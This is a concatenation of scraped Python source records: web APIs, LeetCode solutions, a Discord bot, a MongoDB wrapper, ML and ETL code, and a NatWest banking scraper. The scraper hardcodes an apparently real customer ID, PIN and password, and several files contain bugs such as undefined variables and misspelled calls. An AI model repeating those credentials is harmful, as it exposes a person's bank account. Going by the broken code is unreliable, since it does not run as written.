int(body['a_F1'])\n a_F2 = int(body['a_F2'])\n a_F3 = int(body['a_F3'])\n r_F1 = (1/9)*((1/15)*N)\n r_F1 = round(r_F1)\n r_F2 = (2/9)*((1/15)*N)\n r_F2 = round(r_F2)\n r_F3 = (6/9)*((1/15)*N)\n r_F3 = round(r_F3)\n new_dict['a_F1'] = a_F1\n new_dict['a_F2'] = a_F2\n new_dict['a_F3'] = a_F3\n new_dict['r_F1'] = r_F1\n new_dict['r_F2'] = r_F2\n new_dict['r_F3'] = r_F3\n\n if a_F1 == a_F2 == 0:\n Cadre_Ratio_Marks = 0\n else:\n Cadre_Ratio_Marks = ((a_F1/r_F1) + ((\n a_F2 * 0.6)/r_F2) + (a_F3 * 0.4)/(r_F3) * 12.5)\n if Cadre_Ratio_Marks > 25:\n Cadre_Ratio_Marks = 25\n new_dict['Cadre_Ratio_Marks'] = Cadre_Ratio_Marks\n return new_dict\n\n\n@a.route('/1', methods=['POST'])\ndef task():\n body = request.get_json()\n x = Task_1(body)\n return x\n\n\n@a.route('/2', methods=['POST'])\ndef TASK():\n body = request.get_json()\n y = Task_2(body)\n return y\n\n\nif __name__ == '__main__':\n a.run(debug=True)\n","sub_path":"requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"496458771","text":"class Solution:\n def isUgly(self, num: int) -> bool:\n if num <= 0:\n return False\n if num == 1:\n return True\n tmp = num\n while tmp != 1:\n last = tmp\n if tmp % 2 == 0:\n tmp //= 2\n if tmp % 3 == 0:\n tmp //= 3\n if tmp % 5 == 0:\n tmp //= 5\n if tmp == last:\n break\n return tmp == 1\n\n\ndef test_solution():\n assert Solution().isUgly(6)\n assert Solution().isUgly(8)\n assert not Solution().isUgly(14)\n","sub_path":"leetcode_263/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"79727794","text":"# -*- coding: utf-8 -*-\r\nimport discord\r\nfrom discord import client\r\nfrom discord.ext import commands\r\nimport sys, traceback\r\n\r\nfrom discord.ext.commands import bot\r\n\r\ndef get_prefix(bot, message):\r\n prefixes = ['>?', '.', '!?']\r\n if not message.guild:\r\n return '?'\r\n return commands.when_mentioned_or(*prefixes)(bot, message)\r\n\r\ninitial_extensions = ['cogs.ui',\r\n 'cogs.translator',\r\n 'cogs.meme',\r\n 'cogs.music',\r\n 'cogs.pic',\r\n 'cogs.wiki',\r\n 'cogs.8ball',\r\n 'cogs.van_mau',\r\n 'cogs.help',\r\n 'cogs.animalpic',\r\n 'cogs.Yande']\r\n\r\nbot = commands.Bot(command_prefix=get_prefix, description='lol', help_command=None)\r\nif __name__ == '__main__':\r\n for extension in initial_extensions:\r\n bot.load_extension(extension)\r\n@bot.event\r\nasync def on_ready():\r\n print(f'\\n\\nLogged in as: {bot.user.name} - {bot.user.id}\\nVersion: {discord.__version__}\\n')\r\n await bot.change_presence(activity=discord.Game(name=\"mẹ mày\"))\r\n print(f'Successfully logged in and booted...!')\r\n@bot.command()\r\nasync def ping(ctx):\r\n await ctx.send('Pong! ping của bot là {0} ms'.format(round(bot.latency, 1)),delete_after=20.0)\r\n@bot.command()\r\nasync def say(ctx, *, text):\r\n message = ctx.message\r\n await message.delete()\r\n await ctx.send(f\"{text}\")\r\n\r\nbot.run('token', bot=True, reconnect=True)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"68790188","text":"#!/usr/bin/env python3\nimport pymongo as _pm\n\n\nclass DB:\n \"\"\"Class handling with MongoDB database\"\"\"\n\n def __init__(self, user=None, pswd=None, host=None, port=None, base=None):\n \"\"\"Initialize class DB with given options:\n user - MongoDB user authorization (default: lucky_pomerange)\n pswd - MongoDB password authorization (default: pass)\n host - host on whith database exists\n port - port number (default: 27017)\n base - MongoDB database name (default: myDatabase)\n \"\"\"\n # self._user = user if user else \"admin\"\n # self._pswd = pswd if pswd else \"admin\"\n self._host = host if host else \"localhost\"\n self._port = port\n self._base = base if base else \"admin\"\n\n self.client = _pm.MongoClient(\n \"mongodb://\" + self._host + \"/\" + self._base,\n port=self._port,\n serverSelectionTimeoutMS=1000,\n )\n self.client.server_info()\n self.db = self.client[self._base]\n\n def select(self, collName):\n \"\"\"Method return all collection elements\"\"\"\n col = self.db[collName]\n return \"\\n\".join([str(i) for i in col.find()])\n\n def find(self, filtr, collName):\n \"\"\"Method finds elements in base\n filtr - array-lik {'k':v}\"\"\"\n col = self.db[collName]\n return col.find(filtr)\n\n def insert(self, item, collName):\n \"\"\"Insert element inside collection\n item - array-like {'k1':v1,'k2':v2,...}\"\"\"\n col = self.db[collName]\n col.insert(item)\n\n def update(self, filtr, item, collName):\n \"\"\"Update element in collection.\n filtr is given as dict {\"key\":val}\n item is array {\"k1\":v1, \"k2\":v2,...}\n \"\"\"\n col = self.db[collName]\n if col.find_one(filtr):\n col.update_one(filtr, {\"$set\": item})\n else:\n col.insert(item)\n\n def remove(self, filtr, collName):\n \"\"\"Remove element defined by filtr {'k':v}\"\"\"\n col = self.db[collName]\n col.delete_one(filtr)\n\n def remove_many(self, filtr, collName):\n \"\"\"Remove all elements defined by filtr {'k':v}\"\"\"\n col = self.db[collName]\n col.delete_many(filtr)\n\n def removeCollection(self, collName):\n \"\"\"Delete all collection\"\"\"\n col = self.db[collName]\n col.drop()\n\n def __str__(self, collName):\n \"\"\"Return String containing information about user, host, port, base,\n collection, and database elements\"\"\"\n col = self.db[collName]\n out = \"User: \" + self._user + \"\\n\"\n out += \"Host: \" + self._host + \"\\n\"\n out += \"Port: \" + str(self._port) + \"\\n\"\n out += \"Base: \" + self._base + \"\\n\"\n out += \"Collection: \" + col.name + \"\\n\"\n out += \"Data in collections:\\n \"\n out += \"\\n \".join([str(i) for i in col.find()])\n return out\n\n\nif __name__ == \"__main__\":\n db = DB()\n print(db)\n","sub_path":"common/database/mongoAccess/mongo3.py","file_name":"mongo3.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"321503384","text":"from pyvirtualdisplay import Display\nfrom selenium import webdriver\n\nimport time\nfrom datetime import date, timedelta\nimport datetime\nfrom time import strftime\n\noverdraft=2000\ncustomer_id = 1103910549\npin = '4506'\npassword = '02ebrienm'\n\nDisplay(visible=0, size=(800, 600)).start()\nwebdriver.Chrome().get('http://personal.natwest.com/personal.html')\nwebdriver.Chrome().execute_script('$(\"button.gnav-login-button\").click();')\nwebdriver.Chrome().switch_to_frame(webdriver.Chrome().find_element_by_id('ctl00_secframe'))\nwebdriver.Chrome().find_element_by_id(\"ctl00_mainContent_LI5TABA_DBID_edit\").send_keys(customer_id)\nwebdriver.Chrome().find_element_by_id(\"ctl00_mainContent_LI5TABA_DBID_edit\").submit()\n\npA = int(driver.find_element_by_id('ctl00_mainContent_Tab1_LI6DDALALabel').text[10])\npB = int(driver.find_element_by_id('ctl00_mainContent_Tab1_LI6DDALBLabel').text[10])\npC = int(driver.find_element_by_id('ctl00_mainContent_Tab1_LI6DDALCLabel').text[10])\npD = int(driver.find_element_by_id('ctl00_mainContent_Tab1_LI6DDALDLabel').text[10])\npE = int(driver.find_element_by_id('ctl00_mainContent_Tab1_LI6DDALELabel').text[10])\npF = int(driver.find_element_by_id('ctl00_mainContent_Tab1_LI6DDALFLabel').text[10])\n\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPEA_edit').send_keys(pin[pA-1])\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPEB_edit').send_keys(pin[pB-1])\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPEC_edit').send_keys(pin[pC-1])\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPED_edit').send_keys(pwd[pD-1])\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPEE_edit').send_keys(pwd[pE-1])\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPEF_edit').send_keys(pwd[pF-1])\ndriver.find_element_by_id('ctl00_mainContent_Tab1_LI6PPEF_edit').submit()\nmon = driver.find_element_by_xpath(\"//tr[@id='Account_DC115F53806EFCF0C5A8146B06B741333D3F8A99']/td[5]\")\nnow = time.strftime(\"%b %d %Y %H:%M\")\nbalance=float(mon.text[1:].replace(',',''))-overdraft\nprint(strftime(\"%Y-%m-%d %H:%M\"),',',balance)\ndriver.quit()\ndisplay.stop()\n","sub_path":"selenium/natwest/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"75819610","text":"import numpy as np\nimport tensorflow as tf\n\nfrom layers.schedule_sampling import schedule_sampling\n\n\ndef LSTM_InitState(\n init_state: tf.contrib.rnn.LSTMStateTuple,\n real_indices: tf.Tensor, # batch_size * maxlen\n embedding_table: np.ndarray,\n assist: int = 0,\n ) -> tf.Tensor:\n\n batch_size = tf.shape(init_state.h)[0]\n state_size = init_state.h.shape[1].value\n vocab_size, embedding_size = embedding_table.shape\n maxlen = real_indices.shape[1]\n\n weights = tf.get_variable(\n name='weights',\n shape=[state_size, vocab_size],\n initializer=tf.truncated_normal_initializer(),\n )\n bias = tf.get_variable(\n name='bias',\n shape=[vocab_size],\n initializer=tf.zeros_initializer(),\n )\n lstm_cell = tf.contrib.rnn.BasicLSTMCell(\n num_units=state_size,\n forget_bias=1.0,\n )\n lstm_cell = tf.contrib.rnn.DropoutWrapper(\n cell=lstm_cell,\n input_keep_prob=1.0,\n output_keep_prob=1.0,\n state_keep_prob=1.0,\n dtype=tf.float32,\n )\n init_input_vectors = tf.nn.embedding_lookup(\n params=embedding_table,\n ids=real_indices[:, 0],\n )\n logits_collection = tf.one_hot(\n indices=tf.reshape(\n real_indices[:, 0],\n shape=[1, batch_size],\n ),\n depth=vocab_size,\n )\n\n count = tf.constant(1)\n stopping_criteria = lambda count, \\\n input_vectors,\\\n init_state,\\\n word_indices_collection: count < maxlen\n\n def _predict_next_word(\n count,\n input_vectors,\n previous_state,\n logits_collection,\n ):\n # concate latent vector\n next_step, next_state = lstm_cell(\n inputs=input_vectors,\n state=previous_state,\n )\n logits = tf.nn.elu(\n features=next_step @ weights + bias,\n )\n output = tf.nn.softmax(logits)\n\n predicted_next_word_indices = tf.cast(\n tf.argmax(output, axis=1),\n dtype=tf.int32,\n )\n # next_word_indices = real_indices[:, count]\n next_word_indices = schedule_sampling(\n real_word=real_indices[:, count],\n predicted_word=predicted_next_word_indices,\n assist=assist,\n )\n next_embedded_words = tf.nn.embedding_lookup(\n params=embedding_table,\n ids=next_word_indices,\n )\n output_logits = tf.reshape(\n logits,\n shape=[1, tf.shape(logits)[0], tf.shape(logits)[1]],\n )\n return count + 1, \\\n next_embedded_words, \\\n next_state, \\\n tf.concat([logits_collection, output_logits], axis=0)\n\n _, _, _, output_logits = tf.while_loop(\n cond=stopping_criteria,\n body=_predict_next_word,\n loop_vars=[\n count,\n init_input_vectors,\n init_state,\n logits_collection,\n ],\n shape_invariants=[\n count.get_shape(),\n tf.TensorShape([None, embedding_size]),\n tf.contrib.rnn.LSTMStateTuple(\n *(\n tf.TensorShape([None, state_size]),\n tf.TensorShape([None, state_size]),\n ),\n ),\n tf.TensorShape(\n [\n None,\n logits_collection.get_shape()[1],\n vocab_size,\n ],\n ),\n ],\n )\n output_logits = tf.transpose(\n output_logits,\n perm=[1, 0, 2],\n name='logits',\n )\n output_word_indices = tf.argmax(\n output_logits,\n axis=2,\n name='word_indices',\n output_type=tf.int32,\n )\n return output_logits, output_word_indices\n","sub_path":"text_autoencoder/decoders/lstm_get_init_state.py","file_name":"lstm_get_init_state.py","file_ext":"py","file_size_in_byte":3805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"77871414","text":"import configparser\nimport psycopg2\nfrom sql_queries import copy_table_queries, insert_table_queries\n\n\ndef load_staging_tables(cursor, connection):\n \"\"\"\n The function to migrate all data from s3 to Redshift database.\n Parameters:\n cursor: a cursor object using the conncection stated below.\n conncection: a connection that encapsulates the database session. \n Returns: N/A\n \"\"\"\n for query in copy_table_queries:\n cursor.execute(query)\n connection.commit()\n\n\ndef insert_tables(cursor, connection):\n \"\"\"\n The function to migrate all data from s3 to Redshift database.\n Parameters:\n cursor: a cursor object using the conncection stated below.\n conncection: a connection that encapsulates the database session. \n Returns: N/A\n \"\"\"\n for query in insert_table_queries:\n cursor.execute(query)\n connection.commit()\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read(\"dwh.cfg\")\n connection = psycopg2.connect(\n \"host={} dbname={} user={} password={} port={}\".format(\n *config['CLUSTER'].values()\n )\n )\n cursor = connection.cursor()\n load_staging_tables(cursor, connection)\n insert_tables(cursor, connection)\n connection.close()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"538944731","text":"import math\nimport random\nimport json\nfrom Api.utils import *\nfrom Api.resources import Resource\nfrom MyApp.models import * \nfrom django.contrib.auth import authenticate,login,logout\nfrom django.contrib.auth.models import User\nfrom Api.decorators import userinfo_required\nfrom django.db.models import Q\nfrom django.db.transaction import atomic\nfrom MyApp.models import *\nclass UserQuestionnaireResource(Resource):\n @userinfo_required\n #查看可以参与的问卷\n def get(self,request,*args,**kwargs):\n data = request.GET\n limit = abs(int(data.get('limit',15)))\n start_id = data.get('start_id',0)\n title = data.get('title','')\n create_date = data.get('create_date',0)\n with_detail = data.get('with_detail',0)\n page = abs(int(data.get('page',1)))\n\n #问卷状态为4,截止时间大于现在时候,剩余数量大于0的\n Qs = [Q(state=4),Q(deadline__gte=date.now()),Q(free_count__gt=0)]\n if start_id:\n start_id = int(start_id)\n else:\n start_id=0\n Qs.append(Q(id__gt=start_id))\n\n if limit > 50 :\n limit = 50\n #排除已经参与的问卷\n joined = Answer.objects.filter(userinfo=request.user.userinfo)\n #已回答问题所在的问卷id\n joined_ids = [obj.questionnaire_id for obj in joined]\n #查找出用户所需要的问卷,排除掉已经回答过的\n all_objs = Questionnaire.objects.filter(*Qs).exclude(id__in=joined_ids)\n pages = math.ceil(all_objs.count()/limit) or 1\n if page > pages:\n page = pages\n start = (page - 1) * limit\n end = page *limit \n objs = all_objs[start:end]\n\n data = []\n for obj in objs:\n #构建单个问卷信息\n obj_dict=dict()\n obj_dict['id'] = obj.id\n obj_dict['title']=obj.title\n obj_dict['create_date']=datetime.strftime(obj.create_date,'%Y-%m-%d')\n obj_dict['deadline']=datetime.strftime(obj.deadline,'%Y-%m-%d')\n obj_dict['state']=obj.state\n obj_dict['quantity']=obj.quantity\n obj_dict['free_count']=obj.free_count\n obj_dict['customer']={\n 'id':obj.customer.id,\n 'name':obj.customer.name\n }\n if with_detail in ['true',True]:\n #构建问卷下的问题\n obj_dict['questions'] = []\n for question in obj.question_set.all().order_by('index'):\n #构建单个问题\n question_dict = dict()\n question_dict['id']=question.id\n question_dict['title']=question.title\n question_dict['category']=question.category\n question_dict['index']=question.index\n #构建问题选项\n question_dict['items']=[{\n 'id':item.id,\n 'content':item.content\n } for item in question.questionitem_set.all()]\n #将问题添加到问卷的问题列表中\n obj_dict['questions'].append(question_dict)\n data.append(obj_dict)\n return json_respon({\n 'page':pages,\n 'objs':data\n })\n\n\n\nclass JoinQuestionnaireResource(Resource):\n @atomic\n @userinfo_required\n def put(self,request,*args,**kwargs):\n data = request.PUT\n questionnaire_id = data.get('questionnaire_id',0)\n\n #找出要参与的问卷\n questionnaire_exist = Questionnaire.objects.filter(id=questionnaire_id,state=4)\n if not questionnaire_exist:\n return params_error({\n 'questionnaire_id':'当前问卷不存在'\n })\n # 判断是否参与了该问卷\n questionnaire = questionnaire_exist[0]\n #判断这个用户是否参与了该问卷\n has_joined =Answer.objects.filter(\n userinfo = request.user.userinfo,questionnaire=questionnaire\n )\n if has_joined:\n return params_error({\n 'questionnaire_id':\"已经参与了该问卷\"\n })\n #判断参与问卷的人数是否已满\n has_joined_count = Answer.objects.filter(\n questionnaire=questionnaire\n ).count()\n if questionnaire.quantity <= has_joined_count:\n return params_error({\n 'questionnaire_id':\"该问卷参与人数已满\"\n })\n #判断问卷是否已经结束\n #datetime.now() 不带时区,而从数据库中读取出来的时间是带时区的,所以不能直接比较\n #使用timezone\n if questionnaire.deadline < timezone.now():\n return params_error({\n 'questionnaire_id':'该问卷已经结束'\n })\n #创建参与信息\n answer = Answer()\n answer.userinfo = request.user.userinfo\n answer.questionnaire = questionnaire\n answer.create_date=date.now()\n answer.is_done =False\n answer.save()\n #更新可用的问卷数量\n questionnaire.free_count = questionnaire.free_count - 1\n questionnaire.save()\n \n return json_response({\n 'id':answer.id\n })\n @atomic\n @userinfo_required\n def post(self,request,*args,**kwargs):\n data =request.POST\n questionnaire_id = data.get('questionnaire_id',0)\n answer_exist = Answer.objects.filter(questionnaire__id = questionnaire_id,userinfo = request.user.userinfo)\n if not answer_exist:\n return params_error({\n 'questionnaire_id':'问卷不存在'\n })\n answer = answer_exist[0]\n answer.is_done = True\n answer.save()\n #增加用户积分\n Point.update_point(request.user.userinfo,10,'提交问卷')\n return json_response({\n 'msg':\"更新成功\"\n })\n\n @atomic\n @userinfo_required\n def delete(self,request,*args,**kwargs):\n data=request.DELETE\n ids = data.get('ids',[])\n objs = Answer.objects.filter(id__in=ids,userinfo=request.user.userinfo,is_done=False)\n delete_ids = [obj.id for obj in objs]\n #更新问卷可用数量\n for obj in objs :\n questionnaire = obj.questionnaire\n questionnaire.free_count = questionnaire.free_count+1\n questionnaire.save()\n #删除用户选择删除该问卷的所有选项\n AnswerItem.objects.filter(userinfo=request.user.userinfo,item__question__questionnaire=questionnaire).delete()\n objs.delete()\n return json_response({\n 'delete_ids':deleted_ids\n })\n\n @userinfo_required\n def get(self,request,*args,**kwargs):\n data =request.GET\n limit = abs(int(data.get('limit',10)))\n start_id = int(data.get('start_id',0))\n is_done = data.get('is_done',False)\n if is_done in ['true',True]:\n is_done=True\n else:\n is_done = False\n page = int(data.get('page',1))\n all_objs = Answer.objects.filter(id__gt=start_id,userinfo=request.user.userinfo,is_done=is_done)\n count = all_objs.count()\n pages = math.ceil(count/limit) or 1\n if page >pages:\n page = page\n start = (page - 1 )* limit\n end = page *limit\n objs = all_objs[start:end]\n result = {\n 'pages':pages\n }\n data = []\n for obj in objs:\n answer_dict =dict()\n answer_dict[\"id\"] =obj.id\n answer_dict['create_date']=datetime.strftime(obj.create_date,\"%Y-%m-%d\")\n answer_dict['is_done']=obj.is_done\n answer_dict['questionnaire']={\n \"id\":obj.questionnaire.id,\n 'title':obj.questionnaire.title\n }\n data.append(answer_dict)\n result['objs'] = data\n return json_response(result)\n\nclass AnswerQuestionnaireResource(Resource):\n @atomic\n @userinfo_required\n #提交问题选项\n def put(self,request,*args,**kwargs):\n data = request.PUT\n userinfo = request.user.userinfo\n item_id = data.get('item_id',1)\n item = QuestionItem.objects.get(id=item_id)\n if Answer.objects.filter(is_done=False,questionnaire=item.question.questionnaire,userinfo=userinfo).count()==0:\n return params_error({\n 'item_id':'不可提交该选项'\n })\n question = item.question\n if question.category == 'radio':\n AnswerItem.objects.filter(userinfo = userinfo,item__question=item.question).delete()\n answer_item = AnswerItem()\n answer_item.item = item\n answer_item.userinfo = userinfo\n answer_item.save()\n else:\n if AnswerItem.object.filter(userinfo=userinfo,item = item).count():\n answer_item = AnswerItem()\n answer_item.item = item\n answer_item.userinfo = userinfo\n answer_item.save()\n return json_response({\n \"msg\":'选择成功'\n })\n\n @atomic\n @userinfo_required\n def delete(self,request,*args,**kwargs):\n data = request.DELETE\n item_id = data.get('item_id',0)\n userinfo = request.user.userinfo\n item = QuestionItem.objects.get(id=item_id)\n if Answer.objects.filter(questionnaire=item.question.questionnaire,is_done=True,userinfo=userinfo):\n return json_response({\n 'item_id':'不可删除该选项'\n })\n AnswerItem.objects.filter(item=item,userinfo=userinfo).delete()\n return json_response({\n 'msg':\"移除成功\"\n })\n @userinfo_required\n def get(self,request,*args,**kwargs):\n data = request.GET\n questionnaire_id = data.get('questionnaire_id',0)\n has_joined = Answer.objects.filter(userinfo=request.user.userinfo,questionnaire__id=questionnaire_id)\n if not has_joined:\n return params_error({\n 'questionnaire_id':\"没有相关信息\"\n })\n questionnaire = Questionnaire.objects.get(id=questionnaire_id)\n\n data = dict()\n data['id'] = questionnaire_id\n data['title'] = questionnaire.title\n data['customer']={\n 'name':questionnaire.customer.name\n }\n data['questions'] = []\n for question in questionnaire.question_set.all():\n question_dict = dict()\n question_dict['id ']=question.id \n question_dict['title']=question.title\n question_dict['index']=question.index\n question_dict['category']=question.category\n \n #找到所有选项的id\n answer_ids = [\n obj.item.id for obj in AnswerItem.objects.filter(item__question=question,userinfo=request.user.userinfo)\n ]\n question_dict['items'] = [\n {\n \"id\":obj.id,\n 'content':obj.content,\n 'active':obj.id in answer_ids\n }\n for obj in question.questionitem_set.all()\n ]\n data['questions'].append(question_dict)\n return json_response(data)\n\n\n\n\n\n\n\n\n\nclass UserPointResource(Resource):\n @userinfo_required\n def get(self,request,*args,**kwargs):\n userinfo = request.user.userinfo\n data = request.GET\n direction = int(data.get('direction',0))\n limit = abs(int(data.get('limit',15)))\n start_id = data.get('start_id',False)\n create_date = data.get('create_date',False)\n page = abs(int(data.get('page',1)))\n \n Qs = [Q(point__userinfo = userinfo)]\n \n if direction ==0:\n direction = False\n else:\n direction = True\n \n Qs.append(Q(direction=direction))\n if start_id:\n start_id = int(start_id)\n else:\n start_id = 0\n Qs.append(Q(id__gt=start_id))\n\n if create_date:\n create_date = datetime.strptime(create_date,'%Y-%m-%d')\n Qs.append(Q(datetime__gt = create_date))\n \n if limit > 50:\n limit = 50\n all_objs = PointHistory.objects.filter(*Qs)\n pages = math.ceil(all_objs.count()/limit) or 1\n if page > pages:\n page = pages \n start = (page-1)*limit\n end = page *limit\n objs = all_objs[start:end]\n point = userinfo.point\n result = {\n 'balance':point.balance,\n 'pages':pages,\n 'objs':[{\n \"id\":obj.id,\n \"quantity\":obj.quantity,\n \"reason\":obj.reason,\n 'create_date':datetime.strftime(obj.create_date,'%Y-%m-%d %H:%M')\n } for obj in objs]\n }\n return json_response(result)","sub_path":"QuestinnairePorject/Api/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":12959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"357736956","text":"def numIslands(self, grid: List[List[str]]) -> int:\n # 재귀 호출에서 모두 빠져나오면 섬 하나를 발견한 것으로 간주\n def dfs(i, j):\n # 더 이상 땅이 아닌 경우 종료\n if i < 0 or i >= len(grid) or \\\n j < 0 or j >= len(grid[0]) or \\\n grid[i][j] != '1': \n return\n \n # 이미 방문한 곳은 1이 아닌 값으로 마킹해 다시 계산하는 경우를 방지\n # 일종의 가지치기\n grid[i][j] = '0'\n \n # 동서남북 탐색(재귀함수)\n dfs(i + 1, j)\n dfs(i - 1, j)\n dfs(i, j + 1)\n dfs(i, j - 1)\n \n # 예외 처리\n if not grid:\n return 0\n \n count = 0\n \n # 행렬(Matrix) 입력값인 행(Row), 열(Cols) 단위로 육지를 찾는다. \n for i in range(len(grid)):\n for j in range(len(grid[0])):\n # 육지(1)을 발견하면 dfs()를 호출해 탐색을 시작한다)\n if grid[i][j] == '1':\n dfs(i, j)\n # 모든 육지 탐색 후 카운트 1 증가\n count += 1\n \n return count","sub_path":"Problem_Solving/leetcode/Sequential(Non-Linear)_data_structure/Graph/200_Number_of_Islands/numberOfIslands.py","file_name":"numberOfIslands.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"481268230","text":"#!/usr/bin/env python3\n\nimport bio96\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.offsetbox\nimport matplotlib.lines\nfrom sgrna_sensor.style import pick_color, pick_style, FoldChangeLocator\n\ndef parse_labels():\n df = bio96.load('20181002_sgrna_qpcr.toml')\n df = df.set_index('well')\n return df\n\ndef pick_style(promoter, primers):\n from color_me import ucsf\n\n if primers == '16s':\n return dict(color=ucsf.light_grey[0], linestyle='--', zorder=-1)\n if promoter == 'j23119':\n return dict(color=ucsf.red[0])\n if promoter == 'j23150':\n return dict(color=ucsf.blue[0])\n\n return {}\n raise ValueError(f\"no style for '{promoter}' with '{primers}' primers\")\n\ndef make_legend(ax, **kwargs):\n ax.legend(\n handles=[\n matplotlib.lines.Line2D(\n [], [], label=\"J23150\",\n **pick_style('j23150', 'sgrna'),\n ),\n matplotlib.lines.Line2D(\n [], [], label=\"J23119\",\n **pick_style('j23119', 'sgrna'),\n ),\n matplotlib.lines.Line2D(\n [], [], label=\"16S rRNA\",\n **pick_style('', '16s'),\n ),\n ],\n **kwargs,\n )\n\n\ndef load_pcr_data(labels):\n df = pd.read_excel('20181002_sgrna_qpcr.xlsx', sheet_name='Amplification Data', header=43)\n df = df.merge(labels, left_on='Well Position', right_index=True)\n df = df.query('discard == False')\n return df\n\ndef load_melt_data(labels):\n df = pd.read_excel('20181002_sgrna_qpcr.xlsx', sheet_name='Melt Curve Raw Data', header=43)\n df = df.merge(labels, left_on='Well Position', right_index=True)\n df = df.query('discard == False')\n return df\n\ndef plot_curves(df_pcr, df_melt):\n sgrnas = 'on', 'off', 'rxb 11,1', 'mhf 30'\n\n n = len(sgrnas)\n fig, axes = plt.subplots(n, 2, sharex='col', figsize=(8, 3*n))\n\n for i, sgrna in enumerate(sgrnas):\n ax_pcr = axes[i,0]\n ax_melt = axes[i,1]\n\n # Plot the PCR curves.\n\n label = matplotlib.offsetbox.AnchoredText(sgrna, loc=\"upper left\")\n ax_pcr.add_artist(label)\n\n q = df_pcr[df_pcr.sgrna == sgrna]\n\n for key, well in q.groupby(['promoter', 'primers', 'Well Position']):\n promoter, primers, label = key\n ax_pcr.semilogy(\n well.Cycle,\n well.Rn,\n label=label,\n basey=2,\n **pick_style(promoter, primers),\n )\n\n ax_pcr.set_ylim(2**-1, 2**4)\n ax_pcr.set_xlim(1, ax_pcr.get_xlim()[1])\n ax_pcr.set_ylabel(\"Rn\")\n ax_pcr.grid(True)\n\n # Plot the melting curves.\n\n q = df_melt[df_melt.sgrna == sgrna]\n\n for key, well in q.groupby(['promoter', 'primers', 'Well Position']):\n promoter, primers, label = key\n ax_melt.plot(\n well.Temperature,\n well.Derivative / 10000,\n label=label,\n **pick_style(promoter, primers),\n )\n\n x = well.Temperature\n ax_melt.set_xlim(x.min(), x.max())\n ax_melt.set_ylim(0, ax_melt.get_ylim()[1])\n ax_melt.set_ylabel(\"dFluor/dT (×10⁴)\")\n ax_melt.grid(True)\n\n make_legend(axes[0,1], loc=\"upper left\")\n ax_pcr.set_xlabel(\"Cycle\")\n ax_melt.set_xlabel(\"Temperature (°C)\")\n fig.tight_layout()\n\n return fig\n\n\ndef load_ct_data(labels):\n data = pd.read_excel('20181002_sgrna_qpcr.xlsx', sheet_name='Results', header=43)\n data = data.dropna(thresh=3)\n data = data.dropna(axis='columns', how='all')\n data.index = data['Well Position']\n\n labeled_data = labels.merge(data, left_index=True, right_index=True) \n labeled_data = labeled_data.query('discard == False')\n\n def aggregate_ct(df):\n row = pd.Series()\n row['ct_mean'] = df['CT'].mean()\n row['ct_std'] = df['CT'].std()\n return row\n\n return labeled_data.groupby(['primers', 'promoter', 'sgrna', 'ligand']).apply(aggregate_ct)\n\ndef load_Δct_data(ct_data):\n x = ct_data.loc['sgrna']\n x0 = ct_data.loc['16s']\n\n df = pd.DataFrame(index=x.index)\n df['Δct_mean'] = x['ct_mean'] - x0['ct_mean']\n # https://stats.stackexchange.com/questions/112351/standard-deviation-after-subtracting-one-mean-from-another\n # https://stats.stackexchange.com/questions/25848/how-to-sum-a-standard-deviation\n df['Δct_std'] = np.sqrt(x['ct_std']**2 + x0['ct_std']**2)\n\n return df\n\ndef load_ΔΔct_data(Δct_data):\n y = Δct_data.loc['j23119']\n y0 = Δct_data.loc['j23150']\n\n df = pd.DataFrame(index=y.index)\n df['ΔΔct_mean'] = y['Δct_mean'] - y0['Δct_mean']\n df['ΔΔct_std'] = np.sqrt(y['Δct_std']**2 + y0['Δct_std']**2)\n df['fold_change'] = 2**(-df['ΔΔct_mean'])\n df['lower_bound'] = 2**(-df['ΔΔct_mean'] - df['ΔΔct_std'])\n df['upper_bound'] = 2**(-df['ΔΔct_mean'] + df['ΔΔct_std'])\n df['lower_err'] = df['fold_change'] - df['lower_bound']\n df['upper_err'] = df['upper_bound'] - df['fold_change'] \n\n return df\n\ndef plot_Δct_data(df):\n def iter_keys():\n for promoter in ['j23119', 'j23150']:\n for sgrna in ['on', 'off', 'rxb 11,1']:\n for ligand in [False, True]:\n yield promoter, sgrna, ligand\n def name_from_key(key):\n promoter, sgrna, ligand = key\n return f\"{promoter} {sgrna} ({'holo' if ligand else 'apo'})\"\n\n fig, ax = plt.subplots(1, figsize=(4, 3.25))\n\n xticks = []\n xtick_labels = []\n\n for i, key in enumerate(iter_keys()):\n row = df.loc[key]\n promoter, sgrna, ligand = key\n\n fold_change = 2**(-row['Δct_mean'])\n fold_change_bound = 2**(-row['Δct_mean'] + row['Δct_std'])\n fold_change_err = fold_change_bound - fold_change\n\n x = [i, i]\n y = [0, fold_change]\n style = dict(\n linewidth=5,\n 